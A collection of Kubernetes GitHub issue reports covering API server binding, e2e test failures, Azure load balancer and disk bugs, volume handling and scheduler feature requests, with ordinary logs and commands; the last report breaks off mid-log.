the  awesome  getting started guide for docker includes support for running on virtualbox and suggests using docker-machine to manage that. while the provided commands do get the kubernetes cluster up and running /within/ the virtualbox vm, the cluster's api server is not accessible from /outside/ the vm without further hackery.  the  master.json  file configures the api server to listen on 127.0.0.1:      json     {       \ name\ : \ apiserver\ ,       \ image\ : \ gcr.io/google_containers/hyperkube:version\ ,       \ command\ :                 \ /hyperkube\ ,               \ apiserver\ ,               \ --portal-net=10.0.0.1/24\ ,               \ --address=127.0.0.1\ ,               \ --etcd-servers=http://127.0.0.1:4001\ ,               \ --cluster-name=kubernetes\ ,               \ --v=2\                },      https://github.com/kubernetes/kubernetes/blob/dd5f970679e81c4c4338788f0458f0f17b6a1095/cluster/images/hyperkube/master.json l25  the following commands instead reconfigure kubelet to create api servers listening on all addresses  assuming the kubelet container is named  kubelet  :      console docker exec kubelet perl -pi -e 's/address=127.0.0.1/address=0.0.0.0/' /etc/kubernetes/manifests/master.json docker restart kubelet      with this adjustment, everything works as expected and a user can connect to the api server on the virtualbox's ip address:      console $ kubectl -s $ docker-machine ip dev :8080 get nodes name        labels                             status 127.0.0.1   kubernetes.io/hostname=127.0.0.1   ready      based on the above, i'd suggest modifying  master.json 's api server configuration to listen on 0.0.0.0. i can imagine that this might feel icky from a security perspective, but i would hope users are not simply running these images in production without modification. further, the other containers described in the guide listen on 0.0.0.0  including etcd , so it seems no less secure  and more useful  if the api server does as well.  thanks!  reference:  https://github.com/kubernetes/kubernetes/blob/8de12acc3d3ac391f28c4854f557421dac5cbcea/docs/getting-started-guides/docker.md step-two-run-the-master      console $ docker version client version: 1.7.0 client api version: 1.19 go version  client : go1.4.2 git commit  client : 0baf609 os/arch  client : darwin/amd64 server version: 1.7.1 server api version: 1.19 go version  server : go1.4.2 git commit  server : 786b29d os/arch  server : linux/amd64          console $ kubectl version client version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.1\ , gitcommit:\ 6a5c06e3d1eb27a6310a09270e4a5fb1afa93e74\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 0\ , gitversion:\ v1.0.1\ , gitcommit:\ 6a5c06e3d1eb27a6310a09270e4a5fb1afa93e74\ , gittreestate:\ clean\ }          console $ uname -a darwin radioactivity.local 14.5.0 darwin kernel version 14.5.0: wed jul 29 02:26:53 pdt 2015; root:xnu-2782.40.9~1/release_x86_64 x86_64          console $ vboxmanage -v 4.3.28r100309          console $ docker-machine --version docker-machine version 0.4.0-dev  head

kubectl set image  should return a reasonable error for any resource that doesn't contain a pod spec.\r ref: https://github.com/openshift/origin/issues/10947\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-autoscaling/125/  failed:  k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:259 expected error:     < errors.errorstring | 0xc8212de350>: {         s: \ timeout waiting 15m0s for appropriate cluster size\ ,     }     timeout waiting 15m0s for appropriate cluster size not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:258

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?   docker/cve\r ---\r \r   is this a bug report or feature request?    choose one : bug/potential problem report\r \r please see docker cve-2016-9962 related to insecure opening of file-descriptor allows privilege escalation.\r \r which version of docker are we working with? do we have a plan to upgrade to a non-compromised version?\r \r originally referenced in  kops issue  1520  https://github.com/kubernetes/kops/issues/1520

is this a request for help?   no\r \r   what keywords did you search in kubernetes issues before filing this one?   openstack controller-manager\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : coreos stable 1298.5.0\r -   kernel    e.g.  uname -a  : 4.9.9\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r when starting the controller-manager with  --cloud-provider=openstack  but   without    --cloud-config  it immediately exits with exit code 255:\r \r    \r mar 03 15:13:15 t460s hyperkube 29753 : f0303 15:13:15.304219   29753 controllermanager.go:280  cloud provider could not be initialized: could not init cloud provider \ openstack\ : no openstack cloud provider config file given\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: main process exited, code=exited, status=255/n/a\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: unit entered failed state.\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: failed with result 'exit-code'.\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: service hold-off time over, scheduling restart.\r mar 03 15:13:15 t460s systemd 1 : stopped kubernetes controller manager.\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: start request repeated too quickly.\r mar 03 15:13:15 t460s systemd 1 : failed to start kubernetes controller manager.\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: unit entered failed state.\r mar 03 15:13:15 t460s systemd 1 : controller-manager.service: failed with result 'exit-code'.\r    \r \r note that when starting the  apiserver  with a similar setup having  --cloud-provider=openstack  set but without any  --cloud-config  it\r \r also worth mentioning, that this doesn't happen with i.e.  --cloud-provider=aws .\r \r   what you expected to happen  :\r \r i epect the  controller-manager  to give a warning, but not bail out.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r specify  --cloud-provider=openstack  on a working cluster without providing a config.\r \r   anything else we need to know  :\r \r i am happy to provide a pr to fix the above.\r \r /cc @philips @alexsomesan

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r loadbalancer, loadbalancersourceranges\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.4\ , gitcommit:\ 7243c69eb523aa4377bce883e7c0dd76b84709a1\ , gittreestate:\ clean\ , builddate:\ 2017-03-07t23:53:09z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : azure acs\r -   os    e.g. from /etc/os-release : ubuntu 16.04 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux k8s-master-b09c34d8-0 4.4.0-28-generic  47-ubuntu smp fri jun 24 10:09:13 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r \r   what happened  :\r when specifing multiple entries under 'loadbalancersourceranges', only the first one applies.\r \r   what you expected to happen  :\r all entries under 'loadbalancersourceranges' should apply, i.e. they should all appear in inbound security rules of cluster's azure network security group.\r \r   how to reproduce it    as minimally and precisely as possible :\r use kubectl to create a new service from a yaml config file, containing following section.\r    \r  loadbalancersourceranges:\r   - 1.1.1.1/24\r   - 2.1.1.1/24\r    \r \r after it reported completion, only '1.1.1.1/24' would appear in inbound security rules of cluster's azure network security group.\r \r   anything else we need to know  :\r \r the issue lies here:\r 1. same name is given for all the rules used by different loadbalancersourceranges entries\r https://github.com/kubernetes/kubernetes/blob/90a382864e3650dfc0d1ae5535406cd93d7d077e/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l520\r \r 2. later when it comes to the selecting process, all rules except the 1st one will be dropped, due to they share the same name\r https://github.com/kubernetes/kubernetes/blob/90a382864e3650dfc0d1ae5535406cd93d7d077e/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l561\r \r 3. later when the request was sent to azure, only the first entry is included, resulting only the first one takes effect.\r \r the problem is that current implementation is using the rule name to uniquely identify a rule, but the source range information is not captured by that name, which has the format: 'lbname-protocol-port-nodeport'.\r \r we may need to either design new rule naming regulation to incorporate all required information, or update reconciliation logic for rule comparsion.\r \r also, https://github.com/kubernetes/kubernetes/issues/43608 should be with same cause, since the new updated rule uses same name, it won't get updated.\r

if a node is attached to a cloud provider and the machine is in any state other than running/available/ready/whatever cloud provider uses to indicate ready, it will be removed from the kubernetes cluster.\r \r looking at the various cloud providers, some of them filter nodes based on the state whereas others do not.  the node controller has logic for handling a node that is not updating status and evicting pods/tainting the node as needed.\r \r is there a reason why the cloud providers only return instances/vms that are \ ready\  instead of returning any instance/vm that matches the requested name?  it seems like it might be more consistent to have the cloud providers only filter on name and allow the caller to determine what to do if the found instance isn't in a desired state.\r \r @gmarek @justinsb

when collecting data for a projected volume, if an error is encountered, the plugin logs, but then continues setting up the volume and returns as if it were successful:\r \r    \r e0604 10:31:19.324314    3580 projected.go:265  couldn't get configmap e2e-tests-projected-mnbzg/projected-configmap-test-volume-f1dfa503-4910-11e7-8d9d-0242ac110002: user \ system:node:e2e-34198-minion-group-qnk2\  cannot get configmaps in the namespace \ e2e-tests-proj│\r e0604 10:31:19.324409    3580 projected.go:197  error preparing data for projected volume projected-configmap-volume for pod e2e-tests-projected-mnbzg/pod-projected-configmaps-f1f51bf8-4910-11e7-8d9d-0242ac110002: user \ system:node:e2e-34198-minion-group-qnk2\  cannot │\r i0604 10:31:19.324620    3580 atomic_writer.go:142  pod e2e-tests-projected-mnbzg/pod-projected-configmaps-f1f51bf8-4910-11e7-8d9d-0242ac110002 volume projected-configmap-volume: no update required for target directory /var/lib/kubelet/pods/f2278654-4910-11e7-9d2f-420│\r i0604 10:31:19.324667    3580 operation_generator.go:472  mountvolume.setup succeeded for volume \ projected-configmap-volume\   uniquename: \ kubernetes.io/projected/f2278654-4910-11e7-9d2f-42010a800002-projected-configmap-volume\   pod \ pod-projected-configmaps-f1f51bf8│\r    \r \r this is because the error returned from collectdata   does not short-circuit the setup function:\r    go\r \tdata, err := s.collectdata  \r \tif err != nil {\r \t\tglog.errorf \ error preparing data for projected volume %v for pod %v/%v: %s\ , s.volname, s.pod.namespace, s.pod.name, err.error   \r \t}\r    \r \r this means that a pod can start before the configmaps/secrets intended to populate its projected volume exist.

the  kube-apiserver  is built by creating a delegation chain from one server to another.  this chain of discrete api servers allows for a code level separation of api servers so that each can be developed separately and later assembled. see https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-apiserver/app/server.go l118 \r \r the openapi isn't being aggregated through the chain.\r \r @kubernetes/sig-api-machinery-misc

 \r \r \r   what happened  :\r the environment variables were not interpolated \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create environment variable like this\r    \r             - name: redis_url\r               value: redis://:$ redis_password @redis-master-service.default.svc.cluster.local:$ redis_master_service_service_port /0\r    \r \r do \ kubectl apply -f .\ \r \r add another variable:\r \r    \r             - name: redis_password\r               valuefrom:\r                 configmapkeyref:\r                   name: global-config\r                   key: redis.password\r    \r \r and if you bash'in in the container, the command \ env\  will print value for redis_url with not interpolated $ redis_password  even though it should have been replaced.\r \r the current workaround is to add redis_password first and remove redis_url, apply changes, then add redis_url, and then apply changes again.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.0\ , gitcommit:\ 58b7c16a52c03e4a849874602be42ee71afdcab1\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t23:35:54z\ , goversion:\ go1.7.4\ , compiler\r :\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:34:56z\ , goversion:\ go1.7.4\ , compiler\r :\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  : linux k8s-master-fd89de52-0 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux

currently the azure load balancer assumes that a public ip address is in the same resource group as the cluster. this is not necessarily true in all environments, in addition to accepting a public ip, we should allow an annotation to the  service  object that indicates what resource group the ip is present in.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r   what happened  :\r \r kubeclt describe pod do not show  pod when we use pod priority, we do not see the  pod and it makes us confuse.\r \r   what you expected to happen  :\r \r show the  pod when describe pod \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r the test cases that test setting pod node affinity and pod node selectors only need the scheduler.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r xpack features are disabled by default with no option to overwrite those settings in fluentd-elasticsearch cluster addon: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-image/config/elasticsearch.yml l16\r \r   what you expected to happen  :\r these settings should be override-able just like  discovery.zen.minimum_master_nodes .

details in  7191.  the reason this is p1/v1.0 is that it's a pre-requisite for running e2e tests in parallel on a shared cluster.

my understanding is that there is no way currently to do that, right?  kube-push is broken  i'm on 1.2.3   and even if it worked, it would not do a proper upgrade of the cluster, it would only affect the nodes that are currently up but if i scale up the minions auto-scaling group the new machines would not come updated, right?  aws is a very important provider and i feel it needs more love...

forked from https://github.com/kubernetes/kubernetes/pull/24038 issuecomment-215610094  we are adding federation scheduler and controller manager as per the plan in https://github.com/kubernetes/kubernetes/issues/23653.  there is obviously some common code that is shared with kubernetes controller manager and kubernetes scheduler. we want to pull out that code into libraries to enable code reuse rather than having to duplicate code.  we need to figure out the right name and directory structure for such libraries.  cc @davidopp @madhusudancs @kubernetes/goog-control-plane @kubernetes/sig-cluster-federation

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-examples/959/  failed:  k8s.io   feature:example   k8s.io  downward api should create a pod that prints his name and namespace {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:476 expected error:     < errors.errorstring | 0xc42039eb80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:469      previous issues for this test:  31539  31888

once e2e tests are running, the tests keep running even if i press  ctrl-c  and exit the process that controls the tty.\r \r but the tests actually keep running in the background and they keep printing stuff on a shell prompt which has already returned and thereby clobbering the stdout\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/6186/ failed:  k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_gcl.go:60 failed to ingest logs expected error:     < errors.errorstring | 0xc420b861d0>: {         s: \ some logs were ingested for 0 pods out of 1\ ,     }     some logs were ingested for 0 pods out of 1 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_gcl.go:59       previous issues for this test:  34623  34713  36890  37012  37241

only monitoring we currently have is poor-man's 'resource-usage-gatherer' which is run only in scale tests and trans resource usage of few known components. this is hard to maintain as we add more and more components to master machine, thus we need something that would monitor how much slack there is.\r \r cc @ncdc @caesarxuchao @kubernetes/sig-scalability-misc @kubernetes/sig-api-machinery-misc @kubernetes/sig-testing-misc

 \r hi, i think i've run into a wrong selflink generator, kubernetes 1.6.4 and 1.6.6, did not test 1.7.0 yet.\r \r  curl -ss localhost:8080/api/v1/namespaces/default | jq .metadata.selflink \r \ /api/v1/namespacesdefault\ \r \r should be /api/v1/namespaces/default\r \r whole output:\r  {\r   \ kind\ : \ namespace\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ default\ ,\r     \ selflink\ : \ /api/v1/namespacesdefault\ ,\r     \ uid\ : \ 96bd5329-ee9c-11e6-b3a9-842b2bfe82f1\ ,\r     \ resourceversion\ : \ 54\ ,\r     \ creationtimestamp\ : \ 2017-02-09t07:51:39z\ \r   },\r   \ spec\ : {\r     \ finalizers\ :  \r       \ kubernetes\ \r      \r   },\r   \ status\ : {\r     \ phase\ : \ active\ \r   }\r  \r \r same goes for listing namespaces:\r  curl -ss localhost:8080/api/v1/namespaces | jq .items 1 .metadata.selflink \r \ /api/v1/namespacesdefault\ \r \r \r did not manage to find it in any other selflinks.  happens with any namespace listing, not just default. \r \r cheers\r ashley

we are trying to deploy the selenium containers in kubernetes on aws  we are using m4.xlarge for kubernetes nodes . we deployed browsermob on separate ec2 instance as browsermob opens a rang of ports. when we are running any test, the proxy test is taking long time to initiate. but when we are running the same test on selenium which are configured on ec2 instance, it is instantly initiating the proxy test. \r \r here are our deployment scripts\r \r    \r selenium hub:\r \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: selenium-hub-debug\r   namespace: selenium\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: selenium-hub-debug\r         environment: prod\r         department: qa\r     spec:\r       containers:\r       - name: selenium-hub-debug\r         image:  selenium/hub:2.53.1\r         ports:\r           - containerport: 4444\r         resources:\r           limits:\r             memory: \ 1000mi\ \r             cpu: \ 1\ \r         volumemounts:\r           - mountpath: /dev/shm\r             name: dshm\r       nodeselector:\r         selenium: grid\r       volumes:\r         - name: dshm\r           emptydir:\r             medium: memory\r    \r    \r selenium chrome grid\r \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: selenium-node-chrome-debug-1\r   namespace: selenium\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: selenium-node-chrome-debug-1\r         environment: prod\r         department: qa\r     spec:\r       containers:\r       - name: selenium-node-chrome-debug-1\r         image:  selenium/node-chrome-debug:2.53.1\r         ports:\r           - name: chrome-debug\r             containerport: 5900\r         resources:\r           limits:\r             memory: \ 1000mi\ \r             cpu: \ 3\ \r         volumemounts:\r           - mountpath: /dev/shm\r             name: dshm\r         env:\r           - name: hub_port_4444_tcp_addr\r             value: \ selenium-hub-debug\ \r           - name: hub_port_4444_tcp_port\r             value: \ 4444\ \r           - name: node_max_instances\r             value: \ 5\ \r           - name: node_max_session\r             value: \ 5\ \r       nodeselector:\r         selenium: node\r       volumes:\r         - name: dshm\r           emptydir:\r             medium: memory\r    \r any help will be appreciated.\r \r cheers\r ferdous shibly\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r the kubernetes scheduler has a  volumezonepredicate  that is run when evaluating if a particular pod is ok to schedule to a particular node. it looks for a label with the key  failure-domain.beta.kubernetes.io/zone  on the  persistentvolume  object referenced in the pod. if present, it looks for the same label on the node object. if the node specifies no  failure-domain.beta.kubernetes.io/zone  labels, it is assumed to be regional and compatible. if the node specifies a different zone, then the it is assumed to be incompatible, and the pairing fails with  novolumezoneconflict . if the node specifies the same zone, it is assumed to be compatible and the paring is approved.\r \r   what you expected to happen  :\r in addition to the above, modify the kubernetes scheduler’s  volumezonepredicate  to look for a label with the key  failure-domain.beta.kubernetes.io/zones  in addition to  failure-domain.beta.kubernetes.io/zone  on the  persistentvolume  object referenced in the pod. if present, it looks for the label on the node object. if the node specifies no  failure-domain.beta.kubernetes.io/zone  labels, it is assumed to be regional and compatible. if the node specifies a zone, and the zone is not one of the zones specified on the  persistentvolume  then the it is assumed to be incompatible, and the pairing fails with  novolumezoneconflict . if the node specifies a zone that is specified on the  persistentvolume  then it is assumed to be compatible and the paring is approved.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r nope\r \r cc @kubernetes/sig-storage-feature-requests

some of the runs in kubemark-500 are failing during the \ kubemark up\  step - https://k8s-testgrid.appspot.com/sig-scalability kubemark-500  neglect other failures where startup went fine .\r \r few hollow-nodes are crashlooping in those runs  for e.g https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/8203/build-log.txt :\r \r    \r i0904 03:05:09.299  486 hollow-nodes are reported as 'running'\r i0904 03:05:09.301  14 hollow-nodes are reported as not 'running'\r i0904 03:05:09.303  name ready status restarts age\r hollow-node-4vgr9 2/3 crashloopbackoff 9 29m\r hollow-node-9l4s9 1/3 crashloopbackoff 18 29m\r hollow-node-9vx58 2/3 crashloopbackoff 9 29m\r ...\r    \r \r i tried running it locally and it's reproduced randomly. from one such hollow-node's logs it seems like containerd issue:\r \r    \r events:\r   type     reason                 age                 from                                          message\r   ----     ------                 ----                ----                                          -------\r   normal   scheduled              24m                 default-scheduler                             successfully assigned hollow-node-d7glq to e2e-test-shyamjvs-minion-group-9hg6\r   normal   successfulmountvolume  24m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  mountvolume.setup succeeded for volume \ no-serviceaccount-access-to-real-master\ \r   normal   successfulmountvolume  24m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  mountvolume.setup succeeded for volume \ logs-volume\ \r   normal   successfulmountvolume  23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  mountvolume.setup succeeded for volume \ kubeconfig-volume\ \r   normal   successfulmountvolume  23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  mountvolume.setup succeeded for volume \ kernelmonitorconfig-volume\ \r   normal   successfulmountvolume  23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  mountvolume.setup succeeded for volume \ default-token-fzkvj\ \r   normal   pulling                23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  pulling image \ busybox\ \r   normal   pulled                 23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  successfully pulled image \ busybox\ \r   normal   created                23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  created container\r   normal   started                23m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  started container\r   warning  failed                 19m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-kubelet\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:245: running exec setns process for init caused \\\ exit status 33\\\ \ \r   warning  failed                 19m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-proxy\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:245: running exec setns process for init caused \\\ exit status 19\\\ \ \r   warning  failed                 18m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-proxy\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:239: starting init process command caused \\\ fork/exec /proc/self/exe: resource temporarily unavailable\\\ \ \r   warning  failed                 18m                 kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-kubelet\ : error response from daemon: oci runtime error: container_linux.go:247: starting container process caused \ process_linux.go:239: starting init process command caused \\\ fork/exec /proc/self/exe: resource temporarily unavailable\\\ \ \r   warning  failed                 6m  x2 over 17m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-proxy\ : error response from daemon: shim error: fork/exec /usr/bin/docker-runc: resource temporarily unavailable\r   normal   pulling                2m  x9 over 23m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  pulling image \ gcr.io/k8s-scale-testing/kubemark:latest\ \r   normal   pulled                 2m  x9 over 23m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  successfully pulled image \ gcr.io/k8s-scale-testing/kubemark:latest\ \r   warning  failed                 1m  x7 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-kubelet\ : error response from daemon: containerd: container not started\r   normal   created                1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  created container\r   normal   pulling                1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  pulling image \ gcr.io/k8s-scale-testing/kubemark:latest\ \r   normal   pulled                 1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  successfully pulled image \ gcr.io/k8s-scale-testing/kubemark:latest\ \r   normal   pulled                 1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  container image \ gcr.io/google_containers/node-problem-detector:v0.4.1\  already present on machine\r   normal   created                1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  created container\r   normal   created                1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  created container\r   warning  failed                 1m  x5 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-proxy\ : error response from daemon: containerd: container not started\r   warning  failed                 1m  x9 over 19m     kubelet, e2e-test-shyamjvs-minion-group-9hg6  error: failed to start container \ hollow-node-problem-detector\ : error response from daemon: containerd: container not started\r    \r \r this wasn't happening sometime before. @random-liu could you please take a look into it? i can help you with debugging.\r \r cc @kubernetes/sig-node-bugs @kubernetes/sig-scalability-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/31 timed out with\r    \r kubetest --timeout triggered\r    \r \r @kubernetes/sig-scalability-bugs \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r we are seeing the need for a common kubelet plugin discovery model that can be used by different types of node-level plugins, such as device plugins, csi, and cni, to establish communication channels with kubelet. during the design proposal reviews of device plugins and csi, two models have been discussed: one is to have kubelet export a registration service and plugins register themselves through this service; the other is for kubelet to probe plugins under a canonical directory. we would like to get some consensus from the community on which model we should take in the future.\r \r as a starting point of discussion, i wrote a draft doc comparing these two models: https://docs.google.com/document/d/1dthpgy-gpe9sy7zzmgnm8ywo09zjfnh-e1kealfv39s\r please feel free to add comments either in the doc or in this issue.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r    \r events:\r   type     reason                  age                 from                               message\r   ----     ------                  ----                ----                               -------\r   warning  failedscheduling        25m  x26 over 31m   default-scheduler                  0/3 nodes are available: 1 node s  had taints that the pod didn't tolerate, 1 node s  were not ready, 1 node s  were out of disk space, 1 node s  were unschedulable.\r   normal   successfulmountvolume   23m                 kubelet, k8s-agentpool-66825246-0  mountvolume.setup succeeded for volume \ default-token-cxk4v\ \r   normal   successfulattachvolume  23m                 attachdetach-controller            attachvolume.attach succeeded for volume \ pvc-f1562ecb-3e5f-11e8-ab6b-000d3af9f967\ \r   warning  failedmount             1m  x11 over 22m    kubelet, k8s-agentpool-66825246-0  mountvolume.waitforattach failed for volume \ pvc-f1562ecb-3e5f-11e8-ab6b-000d3af9f967\  : azuredisk - wait for attach expect device path as a lun number, instead got: /dev/disk/azure/scsi1/lun1  strconv.atoi: parsing \ /dev/disk/azure/scsi1/lun1\ : invalid syntax \r   warning  failedmount             1m  x10 over 21m    kubelet, k8s-agentpool-66825246-0  unable to mount volumes for pod \ deployment-azuredisk1-68849b4cbf-k9blx_default 6e72ed25-3eb7-11e8-ab6b-000d3af9f967 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ deployment-azuredisk1-68849b4cbf-k9blx\ . list of unmounted volumes= azuredisk . list of unattached volumes= azuredisk default-token-cxk4v \r azureuser@k8s-master-66825246-0:~$ kubectl get no\r \r   warning  failedmount             1m  x11 over 22m    kubelet, k8s-agentpool-66825246-0  mountvolume.waitforattach failed for volume \ pvc-f1562ecb-3e5f-11e8-ab6b-000d3af9f967\  : 